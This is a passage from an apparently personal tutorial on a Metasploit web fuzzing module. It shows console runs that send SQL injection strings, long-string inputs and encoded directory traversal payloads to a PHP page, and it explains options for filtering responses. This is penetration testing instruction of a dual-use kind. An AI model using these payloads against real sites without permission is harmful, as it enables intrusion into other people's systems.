[*] | 1 |  200 |  8792  | 0.417652944 | ' and 'one'='one
[*] | 1 |  200 |  11846  | 0.493800398 | and 1=1
[*] | 1 |  200 |  11846  | 0.537422557 | ' or 'one'='one--
[*] | 1 |  200 |  11846  | 0.598660924 | and 1=1--


Example 7 - LONG Strings (TYPE 7)
This is basically a regular dumb fuzzing type. With this option the only thing that you have to do is define the parameter to be fuzzed, define the STEP (number of characters increased every request) and the DEPTH (maximum number of characters to be used). NOTE:  STEP<= DEPTH

msf auxiliary(http_fuzz) > set TYPE 7
TYPE => 7
msf auxiliary(http_fuzz) > set PATH /english/news.php?id={X}a{X}
PATH => /english/news.php?id={X}a{X}
msf auxiliary(http_fuzz) > set DEPTH 1000
DEPTH => 1000
msf auxiliary(http_fuzz) > set STEP 10
STEP => 10
msf auxiliary(http_fuzz) > run

[*] Fuzzing...
[*] Number of requests 101
[*] No Headers provided
[*] No BODY was provided as a part of the request
[*] No Cookies were provided as a part of the request
[*] Running fuzzer against http//host_ip/english/news.php?id={X}a{X}
[*] | ID | CODE |  LENGTH | RESP TIME | TEST VALUE

[*] | 1 |  200 |  8611  | 0.331915432 | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[*] | 2 |  200 |  8611  | 0.334508011 | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[*] | 3 |  200 |  8611  | 0.351879703 | XXXXXXXXXXXXXXXXXXXX
[*] | 4 |  200 |  8611  | 0.41747247 | X
[*] | 5 |  200 |  8611  | 0.442105074 | XXXXXXXXXX
[*] | 6 |  200 |  8611  | 0.318690562 | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[*] | 7 |  200 |  8611  | 0.326300747 | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[*] | 8 |  200 |  8611  | 0.361352691 | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

NOTE:* During this fuzzing option the advanced option PRINT_PARAM might come handy. Look at the end of this post for the description of advanced options.


Example 8 -TRANSVERSAL Fuzzing (TYPE 8)
The last option is also straight forward. This will do a transversal fuzzing where the fuzzing parameter is defined.  

msf auxiliary(http_fuzz) > set TYPE 8
TYPE => 8
msf auxiliary(http_fuzz) > set PATH /{X}a{X}
PATH => /{X}a{X}
msf auxiliary(http_fuzz) > set DEPTH 1000
DEPTH => 1000
msf auxiliary(http_fuzz) > set STEP 10
STEP => 10
msf auxiliary(http_fuzz) > run

[*] Fuzzing...
[*] Number of requests 84
[*] No Headers provided
[*] No BODY was provided as a part of the request
[*] No Cookies were provided as a part of the request
[*] Running fuzzer against http//host_ip/{X}a{X}
[*] | ID | CODE |  LENGTH | RESP TIME | TEST VALUE

[*] | 1 |  400 |  226  | 0.236811028 | ..\
[*] | 2 |  400 |  226  | 0.250760777 | %2e2e%2f
[*] | 3 |  400 |  226  | 0.22901241 | %2e2e%5c
[*] | 4 |  400 |  226  | 0.246130438 | ..%255c
[*] | 5 |  400 |  226  | 0.240181706 | ../
[*] | 6 |  400 |  226  | 0.163898769 | ..%u2216
[*] | 7 |  404 |  228  | 0.168686738 | ..\..\..\..\..\..\..\..\..\..\
[*] | 8 |  400 |  226  | 0.173574304 | %2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c
[*] | 9 |  400 |  226  | 0.183728038 | %2e2e%2f%2e2e%2f%2e2e%2f%2e2e%2f%2e2e%2f%2e2e%2f%2e2e%2f%2e2e%2f%2e2e%2f%2e2e%2f
[*] | 10 |  400 |  226  | 0.198060237 | ../../../../../../../../../../
[*] | 11 |  404 |  278  | 0.157729548 | %2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c%2e2e%5c
[*] | 12 |  400 |  226  | 0.163983692 | ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216
[*] | 13 |  400 |  226  | 0.160496726 | ../../../../../../../../../../../../../../../../../../../../
.
.
.
and so on

Database Support
I hate doing this but this is not yet supported. Although this is something that I feel it is awesome about mestaploit and I want to use it for this tool I have not been able to store all the responses in the database without raising exceptions on the encoding. When I fix this bug I will put a complete tutorial on the support of this. The main idea will be to do:

set DATABASE true
db_connect user@DATABASE

and from this pront forward everything will be stored on a database that later on you can use for reference.

If you have an idea or have gone through this problem a solution will be greatly appreciated and payed with a beer at Defcon.

NOTE: If you want to enable database support please on the metasploit console write: gem install htmlentities

Advanced options explained
Almost all metasploit modules have advanced options that should be considered while running them. This is not the exception (command:"show advanced"). The following are the options that will allow the user to have a more fitted fuzzing.

CODE and USE_HTTP_CODE

This option will make the fuzzer to display on the console only the error code that you are interested in (e.g. 500). Usually when an injection point or something else interesting in the application is identified the web server will return an internal error code: 500. That is why this is the default value in this tool. However, as you might already know you can configure the webserver to return only specific codes. That is why you can choose whatever code makes more sense to you and the application you are testing: 302, 200, 401, etc

Name           : USE_HTTP_CODE
Current Setting: false
Description    : Only display HTTP responses that with an specific HTTP code


Name           : CODE

Current Setting: 500
Description    : Response HTTP code to display during fuzzing. . e.g. 500



PHRASE
This option allows you to search for specific phrase on the response while fuzzing a web server. Lets say that you are looking for an error based injection and you are only concerned when the response from the server contains the following text: "
Warning: mysql_num_rows()". The only thing that you have to do is to set the PHRASE to that specific text that you are looking for. This is only an example but it can also be helpful to search for specific thing on javascript.



Name           : PHRASE
Current Setting: 
Description    : Phrase or string to look for in the response body


PRINT_PARAM
This option allows you to configure the fuzzer to not print the test parameter that it using on each request. This is incredibly helpful when you use options number 7 or 8 (LONG STRINGS or TRANSVERSAL) which will basically print a lot of character on the console.

Name           : PRINT_PARAM
Current Setting: true
Description    : Print fuzz parameneter on the status.

THREADS
Number of threads that you want to use while fuzzing. The default number is 5 although you can set it up to whatever number you want. Please be careful if you play with this option since this will consume a significant amount of memory if you set it to a bigger number.

Name           : THREADS
Current Setting: 5
Description    : Number of Threads


Again, I hope this helps someone. 

c4an.